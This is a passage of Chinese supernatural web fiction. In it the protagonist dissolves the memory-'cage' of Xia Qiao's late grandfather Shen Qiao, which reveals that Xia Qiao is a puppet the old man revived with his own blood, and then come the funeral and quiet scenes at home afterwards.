“不就记了那小孩的身世吗?至于这样?”夏樵哭归哭,小短腿抡起来倒是贼快。
闻时的绳子缠了一拨残肢,像一张交错的网将它们兜住。它们在里面翻滚挣扎,看着实在有点恶心。
但更多的东西正顺着窗户缝,天花板,墙壁爬过来。
“这些玩意儿无孔不钻,怎么办闻哥?”
怎么办?
分散笼主注意力,打要害。
看那本笔记也知道,对这个笼主来说,要害就是那个鬼里鬼气的小男孩。
闻时躲闪中看到楼梯后面一闪而过的人影,当即拽着椅子脚滑过去。
小男孩正要去够八仙桌上的尖锥,闻时跳了过去!本想攀住他脖子上的挂绳,却不小心勾到了衣服。
小孩肩窄,衣领一扯,大半肩背都裸露出来。
闻时一眼就看到了他左胸口的印记,果然像笔记上说的,是个傀。
可令人意外的是,那个印记极淡,几乎辨识不清。就好像……随着小男孩越长越大,越来越像人,那个印记会消失似的。
还有这样的傀?
闻时愣了一下。
他愣神的时间还不足一秒,却给了小男孩窜起攻击的机会。
闻时引着线,钻进印记的那一瞬,小男孩的尖锥已经扎进了洋娃娃的胸口,从后心贯出。
这招同样适用于附身的人。
闻时第一反应是:丢死人了,阴沟翻船。
然后就感觉一股力道冲撞过来,身体跟着一空。
他很轻地眨了一下眼,看见本该由自己操控的洋娃娃垮塌倒地,睁着玻璃珠似的眼睛,成了一个死物。
从附身物上脱离的感觉很不舒服,就像被人当头砸了一棍。
就在闻时生理性茫然的时候,他感觉有人伸手拢过来,很轻地捂了一下他的眼睛。
也许是错觉,他闻到了一抹凛冬的霜雪味。
接着便是眼前一黑。
……
对,又是眼前一黑。
这流程实在太熟,所以不用问,闻时也知道,是谢问把他薅到了另一个附身物里。
不久之后,一楼的卫生间里出现了这样一幕——
一面椭圆的小镜子支在洗脸池旁,里面是谢问的影子。一面方形的镜子钉墙上,里面是闻时的影子。
一个穿着粉色小裙子的洋娃娃跪在镜子面前哭。
胆小的人最怕什么?最怕一个人。
之前夏樵还能跟在闻时后面蹦跶,溜到哪里都有人作伴,再害怕也有限。
可是现在……
胆子大的都进镜子了,活动
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范围有限,跑腿的事就落到了他头上,一个人在这鬼屋里跑来跑去……他还活个球。
“他哭多久了?”闻时头疼地问。
“从你被一个七八岁的小孩捅伤倒地开始吧。”谢问温声说,“我以为他给你哭灵呢,现在看来不是。”
“你——”
闻时拉着脸。
欠不欠?非要把别人丢脸的事拎出来说?
“我什么?”谢问客客气气地问。
闻时抿着唇,很想骂他两句。但最终还是选择性地跳过问话,道:“小孩呢?”
没记错的话,他当时也钻了小男孩的印记,虽然手下留情没捅个对穿,但多少也有点作用。
印象里,他闭眼前看到的最后一幕,就是小男孩跪坐在地,像被抽空生命一般昏死过去。
所以现在呢?
谢问说:“老人家把他带进卧室照顾了。”
闻时又问:“那些人头人手呢?”
谢问:“散了。”
闻时“嗯”了一声,心说那就行。
原本那些残肢喊打喊杀,就是笼主潜意识的应激反应。这会儿他所有的注意力都在昏死的小男孩身上,自然就搁下了闯入者。
但他还是没太明白……
老人家捡了个孩子,那孩子是傀,他不计较来历把傀养大,然后呢?为什么会形成这个笼
他在人间生生死死、来来往往十多轮,很多事其实依然不太明白。就好比这个老人家究竟有什么放不下。
可能是因为自己没有灵相,也可能是因为判官当了太多年吧。闻时心想。
没了那些残肢,小楼的阴森鬼气少了许多,但卫生间依然是个很有气氛的地方。
夏樵哭着哭着就把自己缩了起来,一点点挪到靠墙。
“你挪那么偏干什么?”闻时问。
“背后不能空着。”夏樵说,“不然总觉得后面有人。”
“……”
闻时服了。
他想了想说:“反正都是挪,那挪远一点吧。”
夏樵没反应过来:“啊?”
“我想看看卧室里什么情况。”闻时说,“你把这面床头镜挪回去。”
夏樵声音都抖了:“啊???”
谢问似乎也同意:“一会儿老人家出来换毛巾拿东西,你趁机进去,把镜子放床头就行,我们也能两边看着。”
“……”
夏樵觉得这两位想让他死……
但他无力反抗。
五分钟后,卧室门吱呀响了一声,老人拖沓的步子挪出来,朝厨房走去。夏樵在“魔鬼”的催促下,牵着裙子拎着镜子,泪汪汪地跑进卧室里。
他根本不敢停留,把镜子往床头柜上一支便立马滚下来。真的是滚……
可惜还没滚到门口,就听见了老人回来的脚步。情急之下,他看见老式衣柜有条缝,便慌不择路钻了进去。
老人端着一只白瓷碗,捏着汤匙一边轻轻搅合,一边走到床边。
他的注意力都在昏睡的小孩身上,好像根本没发现床头的镜子又回来了,自然也没看到镜子里闻时的影子。
闻时本以为,老人端过来的是药或者吃的。毕竟普通人家碰到小孩晕倒生病,第一反应肯定是这个。
但当碗搁在床头,他才发现那里面是一捧掺了水的香灰。
他盯着香灰,心想:
老头终于受不了,要搞死这倒霉孩子了?
11. 枯化
不过,很快闻时就发现事实并非如此……
因为床上的傀其实已经死了。
老人掀开被子,小男孩的手脚已经变成了干枯树枝,灰褐色的树皮替代了他大半皮肤,只有腹部以上还勉强保持着人的模样。
这个过程叫“枯化”,意味着傀的死亡。
这就死了?
闻时有些诧异。
他清楚地记得,自己并没有贯穿小男孩的心口,不至于要他的命,怎么突然就枯化了?
但他转瞬明白过来,这一幕并不是他击伤小孩的后续,而是现实中发生过的事。
它始终存留在老人的记忆里,而且印象极深。笼里发生的事情跟过去有几分相似,于是这段场景便跳了出来。
这不是虚幻,而是往事。
床上的小男孩闭着眼,窝在被褥中,毫无生气。粗糙的树皮还在缓慢扩散,像晕开的墨,皮肤的部分却越来越少。
片刻之后,枯化的痕迹就蔓延到了前胸。
他心口的印记泛着白,像树枝上腐朽的斑,依然辨识不清。
闻时盯着那块印记,微微皱起眉。
忽然听见有人沉声开口,问他:“发什么呆?”
他乍然回神,转头就见谢问走了过来。
镜子里的空间很奇特,跟镜子外是对应的,也有一面书桌、一方窗台,只是都很模糊,像笼罩着一层白茫茫的雾。
谢问就倚着书桌站在雾里。
他手里还还留着进笼时折的树枝,暂时丢扔不掉,一直有一搭没一搭地捏转着,像个划水偷懒的大户。
“你过来干嘛?”闻时说,镜子里的声音也很轻渺,不提高一些根本传不到外面。
“我不能来?”谢问连讶异都显得很清淡,下一秒就恢复了惯常的表情:“凡事总有个先来后到,要不我们捋一捋谁先占的镜子这块地盘?”
“……”
多大人了,谁跟你捋地盘?
闻时没理他,扫了一眼便收回视线。
过了片刻,他忽然说:“知道枯化么?”
“嗯?”谢问直起身走过来,扫了一眼床上的小男孩,瞬间明了,“哦,当然知道。”
闻时却狐疑地看向他。
“你这是什么表情,我不该知道?”谢问说。
“不是。”
该知道,但不该是这副表情。
正常傀的“枯化”都在一瞬间,上一秒还是活生生的,下一秒就落地变成枯枝败叶白棉线。
像这种缓慢枯化的,意味着做这个傀的人水平极高,高到世间罕见屈指可数的地步。
这样的傀,别说普通人,就连判官都没几人见过,尤其是后世的判官们。这么乍眼一看,常人根本意识不到这是“枯化”的过程,反而会以为小男孩出了别的什么问题。
所以谢问语气平淡如水,又答得这么快,反倒很奇怪。
不过他很快明白了闻时的疑惑,解释道:“张家藏书很多,我这种半吊子水平,现实见不到的东西,就得在书里多看看。免得孤陋寡闻丢人现眼——”
谢问笑说:“我很要面子的,尤其在年纪小一点的人面前。”
闻时:“……”
这话如果从老人口中说出来,那还能听一听。
谢问看着不过二十八·九的年纪,单论皮相也就比闻时大个两三岁,说这个就有点不伦不类了。
更何况……
你知道我多大吗?
闻时木着脸,心说知道了有你哭的。
***
老人听不到镜子里的人语,一门心思都在那个傀身上。
他伸手理了理小男孩的头发,沉默着坐了一会儿,然后端起那碗香灰,用手指捏了一把,抹在小男孩已经枯化的手脚上。
他在掌心、脚底、肚脐的位置涂了厚厚一层,又用食指挖了一点,蜻蜓点水似的点在小男孩的右眼角、鼻尖,最后是左心口,三个点刚好连成一条线。
看到这里,闻时已经满心惊诧了。
因为他看懂了老人的举动——这不是什么简单的土法救人,这是在渡灵。
就是强行从自己的灵相上剥离一点,引到傀的身体里,给傀续命。这是傀术中的一种方法,但几乎没人会用。
一来,能续命的傀都是“枯化”缓慢的,单凭这点,就注定了大多数人根本用不到。
二来,就算真碰到一个这样的傀,也没人会这么做,毕竟傀消失了还能塑一个新的,人却不行。
这种公认的“屁用没有”的术法其实早早就被抛弃了,也就闻时略知一二,当做闲谈给后来的徒弟们讲过。
这个老人又是从哪里知道的,也是像谢问一样翻书翻到的?
闻时越发觉得不对……
老人依然自顾自地忙碌着,他从床头柜里翻出一只黑色小盒,盒子里是一排大小不一的刻木刀。
他挑了其中一把,低头在自己食指上划了一道口。
衣柜缝隙里忽然传来一声轻轻的抽气,估计是夏樵看到老人割手,有点不太忍心。
鲜血瞬间凝成珠,顺着手指滑落。老人连忙挪到小男孩面前,依然在他右眼角、鼻尖、左心口的位置各滴了一滴。
接着……他的食指便悬在了小男孩唇边。
这是渡灵的最后一步,要让渡灵人的血进到傀的口中。
如果咽下去,傀便会重新睁眼。如果咽不下去,那就前功尽弃,损失的那点灵相也不会回来。
老人却没有犹豫,他捏挤了一下手指,第一滴血落进小男孩口中。
那抹殷红很快渗进唇缝,下一秒,小男孩忽然抽动了一下。
老人身体绷直了一些,看得出来期待又紧张。
但是镜子里的闻时却知道,这招不会成功的。
因为当初做这个傀的人太强了,相较之下,老人只是个普通傀师,充其量在普通傀师里算佼佼者。
二者悬殊太大,又没有挂碍牵连。老人的灵相也好、血也好,对这个傀的作用微乎其微,是救不活的。
果不其然,小男孩并没有咽下那口血,也没有睁开眼,反而激烈地挣扎起来,像个镇压不住的恶鬼。
老人叹了口气。
只是一滴血的功夫,他就比之前又老了一些,手指更加枯槁消瘦。
“疼么?忍一忍、忍一忍啊。”老人的嗓音缓慢而温和,一边抓住小男孩的手,一边安抚。
过了很久,小男孩才停歇下来,依然满脸死气。
老人坐了一会儿,像是走了远路,得稍稍缓一口气。
片刻后,他又伸出手,在小男孩唇边滴了第二滴血。
小男孩依然
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没有咽下去,再次猛烈挣扎起来,枯化的手指好几次堪堪擦过老人的头皮,稍慢一点,就能顺着头皮钉进去,但老人依然哄着:“忍一忍,忍一忍就好了,啊。”
不久之后,小男孩又陷落回被褥里,还是满身死气。
而老人却更老了。
他还是坐了一会儿,给小孩掖了被角,然后滴了第三滴血。
接着是第四滴。
第五滴。
……
闻时从没想过,自己会什么都不做,在一个笼里安静地站这么久。其实这个时候解笼是最好的,但他却莫名不想打断这个老人家。
他看着对方越来越老、越来越瘦削佝偻,忽然找到了一抹熟悉的感觉。
笼里的日夜依然轮转很快,并非常态的时间。
老人不知道挤下第多少滴血的时候,小男孩左心口的印记忽然有了一抹血色,像枯木逢春。
他还是挣扎,在老人一瞬间的愣神下,枯枝似的手指抓挠到了眼睛。
好在老人及时攥住,没让他再挠伤别的地方。
又过了许久,小男孩喉咙一动,咽下了那滴血。
枯树般的灰褐色从他身上慢慢褪去,手脚终于有了肉感,皮肤也不再青白泛灰。
老人性格应该是沉静的,还是坐在床边,默默地看着他日夜的努力慢慢化作一个结果。
他没有动,只有手在抖,不知是太过高兴还是太过诧异,也可能……是有点难过。上了年纪的人常常如此,高兴到了极致就会变得有些难过,毫无来由。
小男孩睁开眼的时候,目光依旧有些空洞,但也许是死过一次又咽了老人的血,似乎多了点别的东西……
总之,有了一丝丝人的气息。
他眨了眨眼睛,音调依然没有太大起伏,但第一句话叫的是:“爷爷。”
“哎。”老人掖了掖被子,缓声说:“爷爷在呢。”
“我为什么躺着不能动?”他好像忘记了很多事情,像个新生的孩童,茫然地问着。
老人说:“生病了。”
“我的娃娃好像活了。”
“那是做了噩梦。”老人耐心地解释。
“我害怕。”小男孩说着,身侧的手指又痉挛似的攥起来,好像下一秒就要做点什么危险的事。
但是老人却捋平了他的手指,说:“害怕可以哭,可以跟爷爷说,我陪着你呢。”
“我眼睛有点疼。”小男孩眨了眨右眼。
那里有一道被他挣扎抓挠出来的血口。
“爷爷老啦,把你抱到床上的时候,不小心磕了一下。”
老人说着,打了热水的盆里捞出毛巾绞干,一点点给小男孩擦着脸。
闻时看了老人很久,看到他捞起袖子时,手肘有一道熟悉的烫伤。
他又把目光挪回小男孩身上。
看着小孩心口的印记变得更淡,近乎于无,看着他鼻尖的那抹香灰和血滴消退,多了一枚很小的痣,看着他眼角的挠伤很快结成疤。
……
跟夏樵一模一样。
衣柜的门被风又吹开了一些,露出娃娃瞪大的眼睛,白色的灯光照在玻璃珠上,像哭过一样。
“生病了你会不要我么?”小男孩问。
“不会。”老人说:“我跟你有缘,想看你长大。”
12. 解笼
是了,这居然是沈桥的笼。
闻时想。
难怪夏樵说这栋房子眼熟,像小时候住过的那种。也难怪夏樵觉得,这里面发生过的种种,像小时候做过的梦。
这个老人就是沈桥,而他居然始终没有认出来。
也许是因为没有五官、轮廓模糊,也许是因为他记忆里的沈桥还停留在很多很多年以前。
他不是没见过沈桥变老,但他总觉得这样脚步拖沓、声音虚渺的老人,跟当年那个戴着瓜皮小帽的清秀少年没有关系。
衣柜里忽然传出响动,闻时回过神,听见里面传出轻低的叫声。
那声音带着一抹沙哑,像是怕惊动什么人:“爷爷?”
下一瞬,柜门被人推开,那个软绵绵的洋娃娃已经倒在了一边,无声无息。取而代之的,是一个瘦小男生——那是夏樵自己。
他身体是虚的,被屋里老旧的顶灯照得苍白,像是静默时光里的一道剪影。他茫然地站在老人身后,想拍拍他的肩,手却不敢落下去。
“爷爷……是你吗?”他轻声问。
坐在床边的老人动作一顿,抓着毛巾的手指慢慢扣紧。
那一刻,笼里的时间仿佛冻住了。没人知道他听到这句话会是什么反应,会不会像很多笼主一样突然惊醒,接着暴然而起。
“爷爷我是夏樵。”男生终于还是拍了老人的肩,很轻地摇了一下。
十年一晃而过,他忘了很多小时候的事,也学会了很多小时候怎么也学不会的东西。
他撒娇的时候,已经知道要软下声音了。
他抓着老人肩头的布料,鼻尖发红,又晃了晃他,哑声重复了一句:“爷爷,我是夏樵,你看看我。”
老人的轮廓忽然颤了一下,像水滴落进平湖里,接着丝丝绕绕的黑色烟气从他身体中乍然散出。
这是……笼主醒了。
几乎所有笼主在醒来的瞬间,都是带有攻击性的。他此生所有闷藏的怨憎妒煞、所有的舍不得、放不下都会在那一刻爆发出来,既是发泄、也是解脱。
而解笼的人,注定要帮他接下所有,再帮他消融。
黑气出现的刹那,闻时已经从镜中脱身而出。
他瘦长的手指还带着镜子里的白雾,直探向老人。
心脏和眼睛是灵相的关窍,他只要触到那里,把所有承接下来,这个笼就会彻底瓦解……
但他却停在了最后一寸。
他在即将抓触到老人灵相的时候,忽然收回了手,拢衣而立。
而夏樵又带着浓重鼻音,求了一句:“爷爷,你回一下头好不好,你再看看我。”
腾然四散的黑色烟气变得轻袅起来,幽幽静静地浮在空中,老人搁下毛巾,轻轻叹了口气,终于转过头来。
他在转头的一刻,终于有了五官容貌,苍老、温和,他的眼尾和唇角都有深刻的纹路,这是常笑的人才会有的。
确实是沈桥。
“爷爷……”夏樵眼睛瞬间红了,抓着沈桥的肩。
“小樵啊。”沈桥轻轻叫了他一声,叫完又沉沉笑了一声,嗓音依然虚渺老迈:“我的上一任,也管我叫小桥。”
“你看,我跟你有缘。”
夏樵根本说不出话来,只拼命眨着眼睛。
他害怕的时候总是叫得夸张,说是哭,其实并没有多少眼泪。而当他眼泪大颗大颗掉个不停,却根本出不了声。
沈桥只是看着他,然后拍了拍夏樵的手。
笼里的景象在飞速变化,90年代的五斗橱、窗格、书桌和床都在淡去,房间里的香灰味变得浅淡依稀。
好像一个并不冗长的梦走到尽头,什么都散了,只剩下他们站在茫茫雾中。
沈桥看着闻时,苦笑着叫了一声:“闻哥。”
闻时点了一下头,他说不来什么滋味,也不知道该应点什么。
过了片刻,才道:“我没想到这是你的笼。”
“我也没想到。”沈桥说,“我以为我能干干净净地上路呢。”
他垂下目光,眼皮褶皱耷拉,重重地压着苍老的眼睛。
又是许久,他才笑着说:“想要真正的无挂无碍太难了,还是舍不得,还是放不下啊。”
“放不下什么?”闻时问。
沈桥看着夏樵低垂的头,说:“我常会想,要不要让他知道自己究竟是谁。以前觉得就瞒着吧,瞒一辈子,做个普通人,生老病死,挺好的。”
“后来又开始担心,担心如果我不告诉他,等我不在了,他再误打误撞知道,那该怎么办呢?就这么纠结、反复,想了这么多年,也没能有个痛快的结果。”
“还是怪我。”沈桥说,“我教会他的东西太少了,这小孩好像就学到了胆小要哭,傻里傻气的,别的情绪总也不懂,也不知道是不是关窍没通。”
听到这话,闻时才意识到,自从他进了沈家、得知沈桥已故,始终没见夏樵因为哀恸而哭过,也没觉得夏樵有多难过。他会开玩笑、会跟各种人聊天、还张罗着租房,好像不明白生死,也不懂离别。
直到现在,直到这一秒……
他看着夏樵通红的眼圈,对沈桥说:“他现在应该懂了。”
活着没能教会的事,以这种方式教会了,不知该哭还是该笑。沈桥琢磨许久,只有心疼。
“人啊,还是贪心。”他缓慢地开口:“临到这时候,才发现,我放不下的东西太多啦。”
闻时像个耐心的听者,问:“还有什么?”
“以前想着要看这小孩长大,不用多大,成年了18岁就可以。可是真到18了,又想能再看几年,到他再成熟一点,厉害一点,有人照料或者能照料别人,有个家。”
“还想……这几年日子变化太大了,跟九几年那会儿天差地别,不知道你来了,要多久才能适应,会不会碰到麻烦,会不会过得不好。”
“还担心小樵这性格,能不能讨你喜欢,万一闹了矛盾怎么办,也没个人来调解。”沈桥说着,依然慈祥温和。
“想着这些,我就觉得要是我在就好了,闻哥你生气都闷着,小樵太傻,不一定看得出来,回头气伤了可不好
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。”
他说着说着,又笑了起来,好像那些舍不得、放不下,也没那么令人难过了。
“还有啊……”沈桥说:“二十多年没见,我还没来得及跟闻哥你喝杯茶,上次你走说好了的。”
没想到,居然后会无期了。
他又仔仔细细看了夏樵和闻时一眼,慢得像要记住他们的样子,然后叹道:“算啦。”
归根究底,说来说去,不过都是些零散小事。
他这一生,接过很多人,也送过很多人,算得上长命百岁、功德圆满。
于是他对闻时说:“赖得过今天,也赖不过明天,最后,就麻烦闻哥你送我一程了。”
“缺的那杯茶……以后有缘再喝吧。”沈桥说。
闻时沉默良久,点了点头:“好。”
他伸出手,指背触上老人的额心。
那一瞬间,所有浮散的黑色烟气骤然轮转起来,明明无形无体,边缘扫过夏樵手背的时候,还是留下了一道细细的伤,顺着神经疼到心脏里。
就是这些东西,从沈桥身上拔出,围聚到了闻时这里,细细密密地缠在他四周。
闻时却好像感受不到痛一般,手指依然抵着沈桥,沉静地阖着眼。
罡风扑面,掀得人几乎站立不稳。
而那些烟气在疯狂冲撞之后,终于静归温顺,慢慢消融淡化。
闻时额前的头发被风掀起又落下,衬得他皮肤毫无血色,比之前苍白不少。
夏樵的恸哭依然出不了声,他死死攥着沈桥的手,却感觉掌中越来越空。
黑色烟气彻底消融的时候,他抓着的人连同整个笼一起,彻底消散不见。临消失前,他听到了沈桥最后一句温声叮嘱:“天凉记得加衣,热了别吃太冰,好好的,啊。”
笼消散后,真实的景象显露出来。
他们还坐在那辆大巴上,身后的人还在聊天,一切如旧。
沈桥下葬的地方背山靠水,底下还有一大片花树和田。
夏樵把寿盒放进墓里,亲友邻里照风俗把红枣和糖糕填进去。
孝衣孝帽一烧,石板一压,这一趟就算送到头了。
下山的时候,夏樵喉咙里终于有了呜咽,又哑又轻,却像尘封许久的锈罐终于撬开一丝缝。他走走停停,如果不是有人推着,可能永远也下不了这座山。
就在他赖住脚步,想要转身的时候,跟在后面的闻时忽然抬手,拍了拍他的后脑勺,沉声说:“别回头。”
别回头。
让他干干净净来,也干干净净走。
山脚下的花树不知是哪种,风一吹,便落了满地。
闻时被扫过的花枝迷了一下眼,他阖眸再睁开的时候,恍然觉得这一幕有些熟悉。
就好像曾经也有那么一个人,手掌瘦而薄,带着温凉触感,轻拍着他的后脑将他往前推了一步,劝哄似的说:别回头。
他原地停住,怔忪几秒,下意识转头看了一眼。
看到谢问落后几步,不紧不慢地走在狭长的路上,伸手接了一朵滚落下来的花。
13. 失联
谢问把花拢进手里,却见花瓣在碰到他的瞬间蜷缩枯萎起来,转眼就成了一团棕褐色的死物。手指轻轻一拨,便松散开来。
他眼眸低垂,看着手中的死物,不知在想些什么。
又过了片刻,他抬起眼,就见闻时正蹙眉望着他。
谢问垂下手背在身后,隔着几步远的距离和间杂的花枝问他:“我干什么坏事了你要这么看着我?”
“……”
闻时抿了一下唇。
他其实只是单纯回头看看。但对方这么一问,他只能绷住脸说:“有点事问你。”
谢问:“什么事?”
闻时:“……”
等我想想。
好在他反应快,几乎没多停顿就想到一个:“你衣服呢?”
谢问低头认认真真看了自己一眼——衣裤齐全。
……
闻时服了:“我说你搭在手上的外套,黑色那件。”
谢问似乎这才想起那件衣服:“哦,那件。可能人多杂乱,忘在哪了。”
“你不找一下?”
“算了。”谢问不太在意地说:“不是什么要紧东西,丢了再买吧。”
闻时正穷着,不能理解他这种说不要就不要的阔气。
见他眉头越皱越紧,谢问又提议说:“要不你陪我去山里找找?不过这山有点大。”
做你的梦。这山何止是有点大?
闻时掉头就走。
谢问在后面笑,又咳嗽了几下,声音比来时还要闷,似乎身体更差了。
来送沈桥的邻居朋友虽然不认识他,但还是关心地问了几句:“生病了?生病了还赶这趟来山里,山里凉气重。”
谢问远远摆了摆手,示意自己没什么事。
他说话虽然没个正经,看上去却实在是个好脾气的人,可是……
闻时沿着山路拐弯的时候,还是没忍住又转了头。
他看见谢问抵着鼻尖闷咳几声,在路过一株树时,把手里的东西丢了。他神色淡淡的,透着病态的苍白,看不出情绪,又似乎有些索然无味。
闻时愣了一下才想起来,那应该是他之前接的那朵花。
刚从笼里出来,闻时其实又累又饿,很难凝住气。但他还是定了定神,试着看了谢问的灵相。
刚闭眼,他就看到了冲天的煞气。
比刚见面的时候盛了几倍,张牙舞爪,妖邪感浓稠又强烈,黑雾逸散的地方,那些发着光的花树都暗淡下来,仿佛苟延残喘。
闻时脑中嗡了一下,倏然睁眼。
那番景象又消失了,谢问依然是温温和和的模样,垂着眸往山下走。
***
大巴停在山脚下,众人陆陆续续过来。
夏樵已经不再哭了,也不说话,眼睛肿得厉害,就那么呆呆站着。邻居长辈们不忍心,一路半扶半拽地将他弄上车,安置在来时的座位上。
过了片刻,他木然的眸子才转了一下,哑声问:“闻哥呢?”
邻居刘婶就坐他后面,最见不到这种半大年纪的小辈哭。她拍了拍夏樵的肩,指着窗外说:“来了,喏,在那说话呢。”
夏樵迟了一下,转眼看过去。
就见闻时站在几步远的路边,正跟刚下山的谢问说话……
主要是谢问在说,闻时听着。
也许是错觉吧,夏樵觉得两人之间的距离有点远,反正比正常说话的人远一点,显出一种微妙的生疏和回避感。
当然,夏樵不知道为什么,只觉得怪。
谢问简单说了几句,便冲闻时摆摆手,朝另一个方向走去。而闻时则朝大巴走来。
他腿长,抓着扶手两步上了四阶,面无表情地在夏樵身边坐下。
司机把烟摘了,转头问:“上来了?还差人么?”
闻时说:“没了,走吧。”
夏樵愣了一下,刘婶他们更是热心,指着远处谢问的背影说:“他呢?你们那个朋友,他不上车啊?”
“他不来。”闻时说。
“为什么?”
“有事,先走了。”闻时说。
夏樵觑了一眼闻时,尽管他闻哥总是这样冷着一张脸,说话也硬邦邦的。但他还是觉得闻时这会儿心情不怎么样。
“闻哥,你怎么了?”夏樵也没什么精神,但还是问了一句。
闻时撩起眼皮,没听懂:“什么?”
“那个……”夏樵斟酌着,慢吞吞地问,“谢问他说什么了?你看起来不高兴。”
闻时很轻地蹙了一下眉,用一种“你在说什么梦话”的眼神看着他:“啊?”
夏樵又缩了回去,蔫蔫地靠着车窗:“没事,我看错了,当我没说。”
倒是刘婶不死心。
来的路上她就坐在谢问旁边,年轻人生得极其养眼又有风度,谁不喜欢。她拍了拍闻时的椅背,说:“坐这车来的,最好还是坐这车走吧,不然不太吉利。”
这种不吉利有生拉硬套之嫌,闻时没听说过。
但他还是朝窗外望了一眼,刚好看到谢问上了一辆红色的车,便靠回了椅背。
“那就这些人?走了?”司机问。
闻时:“嗯。”
司机连忙把头伸出窗外,猛吸两口,把烟屁股摁了,然后撸着方向盘驱车返回市里。
***
名华府花园里的白事棚子已经拆得干干净净,这一场延续几天的丧事就算办到了头。
刘婶就住在前面一栋楼,是个出了名的热心肠。
她下了车还絮絮叨叨嘱咐不停,生怕两个年轻人不懂规矩乱办事:“一会儿跨了火盆,还要吃点红枣和白糕,然后你们回家呢,就把床啊、沙发之类的都挪一挪,打扫打扫。”
夏樵还是很蔫,点了点头说:“谢谢婶。”
“你俩要是弄不过来,就来敲门说一声,婶去给你帮忙,啊。”刘婶跟着跨火盆的队伍走了两步,又说:“全部打扫完,洗个澡再睡啊,一定要洗澡。”
夏樵应道:“好。”
他茫茫然一令一动,别人塞给他什么,他就接什么,让他吃什么,他就往嘴里填。
等到他终于回过神来,才发现众人早已散尽,他已经回到了家里。
屋里空落落的,他也空落落的,就像丢了魂似的,一时间不知道该干嘛。
忽然,有人不轻不重地拍了一下他的头。
夏樵捂着后脑勺转脸看过去,就见闻时从他身边经过,左手拇指和食指很轻地捻着,不知道在捻什么。
“还有剩的香么?”闻时四下扫了一眼。
夏樵愣了愣:“有,你要吗?”
“去抽一根点上。”闻时说。
他总给人一种“一不顺心就翻脸”的感觉,夏樵很想亲近他,又有点怕他,接了指令忙不迭就去弄了。
等到捏着一根香回来,夏樵才问道:“点香干嘛啊哥?”
“过来。”闻时朝后院偏了偏头,示意他开门。
沈家别墅的后院很大,也很空。以前夏樵总想买点花花草草来摆着,但沈桥总说“留点地方”,也不知道留来干嘛。
闻时看到这么块空地,也不觉得奇怪,反倒一脸了然。
以至于夏樵怀疑,之前沈桥说的“留”,就是留给他的。
“香给我。”闻时空着的手动了动手指,示意夏樵把东西递给他。
夏樵乖乖照做。
闻时蹲了下去,让香灰抖落在轻捻的手指间。
夏樵忽然就像开了眼一样,看到了笼里才能看到的东西——那些丝丝绕绕缠在沈桥身上,又被闻时消融的黑色烟气。
“这不是……”夏樵睁大了眼睛。
闻时还在捻着手指,烟气所剩不多,被他捻成了长长一条,像木枝。
他伸手拢了一下,那东西便立在了泥土上。
不知哪里起了一阵风,香火只扑夏樵而来,熏得他两眼泛泪,掩着脸咳了半天。
等他缓过火辣辣的劲,再睁开眼,发现面前的土里多了一株树苗,枝丫瘦长俊秀。
夏樵吓了一跳,避让不及一屁股坐在了泥里:“这什么啊?”
“白梅。”闻时说。
夏樵心说我不是问品种:“这哪来的?”
“你刚刚不是看见了?”闻时看他的眼神仿佛看智障。
“我知道,我……我是看到了,你从爷爷身上吸走的黑气,刚刚又弄出来了,然后就多了这棵树。”
闻时:“嗯。”
夏樵忽然词穷。
过了半天,他才缓慢地睁大眼睛,难以置信地问:“所以它是……”
闻时想了想说:“你可以把它当成一种意义上的沈桥,也可以当成沈桥留给你的东西。”
夏樵定定地看着树苗,恍然想起小时候住的地方,附近也有一小片白梅林,好像不知不觉间就长起来了。
他现在似乎突然明白了它们的来历——沈桥也是判官,也送走过很多人,应该也做过这样的事。
“每个人……”夏樵咽下“去世”两个字,说:“都会变成这样么?”
闻时说:“我喜欢这样。”
夏樵想说我也喜欢,好像忽
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然间就没那么难过了,好像沈桥还在某一处温和慈爱地看着他。
闻时站起身,垂在身侧的手指捏了捏指骨。
夏樵也爬起来,绕着树苗转了好几圈,想碰又不敢碰的样子。
“这树要施肥么?”夏樵问。
闻时:“它自己会长。”
夏樵“哦”了一声,又问:“那我能浇水么?”
闻时:“我没浇过,你可以试试。”
夏樵又不敢动了。
闻时没好气道:“外面天天下雨也没见浇死。”
夏樵这才放下心来,转悠着去找水壶,好像魂又回来了。
闻时靠在门边,看着他忙前忙后给树苗浇水,忽然觉得当初做傀的人必然骨骼清奇,不然怎么弄出这么个二百五呢。
***
有了这株白梅,夏樵终于活泛回来。
他早起第一件事就是给树苗浇水修枝,然后会跟着闻时点一柱香,给祖师爷敬上。
那天他上完香,路过判官名谱图的时候瞄了一眼,忽然就杵那不动了。
闻时纳闷问他:“你干嘛呢?”
夏樵盯没吭声,看着名谱图有点惊疑不定——
他刚刚好像看到闻时的名字无声亮了一下。
而且他们这条线似乎……往上面挪了一点点。
但怎么可能呢?这条线到沈桥已经绝了。一条全员亡故的线,还有可能往上爬???
不不不,幻觉。
夏樵迟疑半天还是摇了摇头,说:“没什么,我眼花。”
闻时便没再管他。
这栋房子有点大,对两个不善家务的人来说,收拾起来有点费劲。闻时和夏樵仓鼠搬粮似的,花了两天半,一点点把家里的沙发、桌椅都挪了位置。
全部整理完的那天下午,夏樵打算好好再打扫一番,于是从柜子里掏出一样东西。
闻时正到处找大扫帚呢,就听那圆盘似的玩意儿贴着地,嗡嗡叫着就过来了,好死不死撞他脚上。
“这什么东西?”闻时垂眸盯着它,表情介于“请它滚”和“踩死它”之间。
夏樵连忙过来,把那吵闹玩意儿踢走了,哄道:“这是扫地机器人。”
“那还用扫帚么?”
“不用不用。”夏樵摆手。
闻时“哦”了一声,从容冷静地接受了这个玩意儿的存在。
夏樵心说闻哥就是闻哥,波澜不惊,一看就是见过大世面的。
结果刚感慨完,他就发现闻时又从冰箱里翻了一盒百醇,面无表情嘎吱嘎吱了两个小时,就这么盯着扫地机器人工作。
“闻哥。”夏樵磨磨唧唧挪到他旁边,指着盒子问他:“吃这个能饱吗?”
闻时眼皮都不抬:“不能。”
夏樵:“那你现在岂不是很饿?”
闻时:“你说呢?”
“那得吃点什么才行呢?”夏樵又问。
“人。”闻时蹦了一个字。
“……”夏樵忙不迭跑了。
托这二百五的福,闻时压了很久的饥饿感又烧起来了。他现在有个毛病,一饿,就想起一个人……
不行,滚。
闻时在心里对自己说,说完他又去开了冰箱。
夏樵跟着蹭过来,瞄了一眼,百醇已经吃完了。闻时的目光落在那一排饮料里。
夏樵这次积极了:“那个,闻哥我给你介绍一下——”
话没说完,闻时从里面拿了一听可乐,“啪”地掰开拉环,凉凉地说:“我95年死的不是65年。”
夏樵:“……”
好,听得出来,心情更糟了。
